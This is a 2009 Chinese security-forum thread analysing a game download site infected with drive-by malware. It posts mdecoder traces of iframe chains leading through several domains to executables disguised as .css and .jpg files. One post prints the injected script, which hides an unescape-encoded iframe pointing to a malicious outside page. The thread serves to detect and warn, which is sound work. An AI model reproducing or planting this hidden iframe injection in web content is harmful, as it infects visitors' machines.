一个游戏网 (挂马 by 250662772)

显示全部楼层 · 发表于 2009-10-8 14:27:45

http://paobar.com/soft/1/2006/20061104550.shtml 小红伞报毒 HTML/Silly.Gen
不知是不是误报

[ 本帖最后由 250662772 于 2009-10-8 16:23 编辑 ]

显示全部楼层 · 发表于 2009-10-8 14:29:42

Log generated by changer use mdecoder 0.26
[root]http://paobar.com/soft/1/2006/20061104550.shtml
[script]http://paobar.com/js/main.js
      [exe]http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab
[script]http://paobar.com/adfile/banner.js
[script]http://paobar.com/adfile/top.js
[script]http://paobar.com/js/ajax_code.js
      [iframe]http://cnzz7.kmip.net/01/01.htm?6
[script]http://paobar.com/js/softimg.js
[script]http://paobar.com/adfile/downinfo3.js
      [iframe]http://paobar.com/adfile/ad12.htm
[script]http://paobar.com/adfile/downinfo1.js
      [iframe]http://paobar.com/adfile/ad6.htm
[script]http://paobar.com/adfile/downinfo2.js
      [iframe]http://paobar.com/adfile/ad7.htm
[script]http://js.users.51.la/612863.js
[script]http://paobar.com/count.asp?cid=2
[script]http://paobar.com/soft/hits.asp?softid=550&type=1

貌似下载不能..

显示全部楼层 · 发表于 2009-10-8 14:31:49

进去了...狂报..

显示全部楼层 · 发表于 2009-10-8 15:08:05

我还是不进了

显示全部楼层 · 发表于 2009-10-8 16:12:17

貌似是微软的

显示全部楼层 · 发表于 2009-10-8 16:23:00

0>http://paobar.com/soft/1/2006/20061104550.shtml
1>http://paobar.com/js/main.js
2>http://www.fangyouw.com/m/h.htm

网页分析:250662772 分析工具:mdecoder 0.26
[root]http://www.fangyouw.com/m/h.htm
[iframe]http://www.fangyouw.com/m/mg.htm
      [script]http://www.fangyouw.com/m/a4.jpg
      [script]http://www.fangyouw.com/m/b.jpg
      [script]http://www.fangyouw.com/m/url.jpg
         [exe]http://www.fangyouw.com/m/cs.css
      [script]http://www.fangyouw.com/m/c.jpg
      [script]http://www.fangyouw.com/m/d.jpg
      [script]http://www.fangyouw.com/m/e.jpg
      [script]http://www.fangyouw.com/m/f.jpg
[iframe]http://205872sa.6600.org/kuaile/19.htm
      [iframe]http://nd77yy.cn/x148/xx.html
         [iframe]http://nd77yy.cn/x148/td14.htm
            [script]http://nd77yy.cn/x148/14.js
                  [exe]http://d.gddxw.com/xx/x148.css
            [script]http://nd77yy.cn/x148/15.js
            [script]http://nd77yy.cn/x148/17.js
            [script]http://nd77yy.cn/x148/16.js
            [script]http://nd77yy.cn/x148/18.js
         [iframe]http://nd77yy.cn/x148/yt.htm
            [script]http://nd77yy.cn/x148/p8.jpg
            [script]http://nd77yy.cn/x148/kb.jpg
            [script]http://nd77yy.cn/x148/url.jpg
                  [exe]http://d.gddxw.com/xx/x148.css
            [script]http://nd77yy.cn/x148/c.jpg
            [script]http://nd77yy.cn/x148/d.jpg
            [script]http://nd77yy.cn/x148/e.jpg
            [script]http://nd77yy.cn/x148/f.jpg
         [iframe]http://nd77yy.cn/x148/td09.htm
            [script]http://nd77yy.cn/x148/01.js
                  [exe]http://d.gddxw.com/xx/x148.css
            [script]http://nd77yy.cn/x148/02.js
         [iframe]http://nd77yy.cn/x148/yut.htm
            [iframe]http://nd77yy.cn/x148/ytfl1.htm
                  [iframe]http://nd77yy.cn/x148/x1.htm
                     [script]http://nd77yy.cn/x148/swfobject.js
                     [flash]http://nd77yy.cn/x148/./x1.swf
                        [exe]http://d.gddxw.com/xx/x148.css
                     [flash]http://nd77yy.cn/x148/./x3.swf
                        [exe]http://d.gddxw.com/xx/x148.css
                     [flash]http://nd77yy.cn/x148/./x4.swf
                        [exe]http://d.gddxw.com/xx/x148.css
                     [flash]http://nd77yy.cn/x148/./x2.swf
                        [exe]http://d.gddxw.com/xx/x148.css
                  [iframe]http://nd77yy.cn/x148/x2.htm
                     [script]http://nd77yy.cn/x148/swfobject.js
                     [flash]http://nd77yy.cn/x148/./x7.swf
                        [exe]http://d.gddxw.com/xx/x148.css
                     [flash]http://nd77yy.cn/x148/./x9.swf
                        [exe]http://d.gddxw.com/xx/x148.css
                     [flash]http://nd77yy.cn/x148/./x10.swf
                        [exe]http://d.gddxw.com/xx/x148.css
                     [flash]http://nd77yy.cn/x148/./x8.swf
                        [exe]http://d.gddxw.com/xx/x148.css
                  [iframe]http://nd77yy.cn/x148/x1.htm
            [iframe]http://nd77yy.cn/x148/of.htm
                  [script]http://nd77yy.cn/x148/of.js
                     [exe]http://d.gddxw.com/xx/x148.css
                  [script]http://nd77yy.cn/x148/of3.jpg
                  [script]http://nd77yy.cn/x148/of.jpg
                  [script]http://nd77yy.cn/x148/of2.jpg
         [iframe]http://nd77yy.cn/x148/ytu.htm
            [iframe]http://nd77yy.cn/x148/ytfl.htm
                  [iframe]http://nd77yy.cn/x148/ff.html
                     [script]http://nd77yy.cn/x148/ff.js
                     [exe]http://d.gddxw.com/xx/x148.css
                  [iframe]http://nd77yy.cn/x148/ie.html
                     [script]http://nd77yy.cn/x148/ie.js
                     [exe]http://d.gddxw.com/xx/x148.css
                  [iframe]http://nd77yy.cn/x148/ff.html
                  [iframe]http://nd77yy.cn/x148/ie.html

显示全部楼层 · 发表于 2009-10-8 16:33:13

哈。。

显示全部楼层 · 发表于 2009-10-8 16:33:45

document.write("<div style='display:none'>")
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%66%61%6E%67%79%6F%75%77%2E%63%6F%6D%2F%6D%2F%68%2E%68%74%6D%22%3E%3C%2F%69%66%72%61%6D%65%3E'))
document.write("</div>")}

复制代码

显示全部楼层 · 发表于 2009-10-8 18:20:15

显示全部楼层 · 发表于 2009-10-8 19:15:16

avast拦

[其它] 一个游戏网 (挂马 by 250662772)

回复 2楼 change_018 的帖子

回复 6楼 250662772 的帖子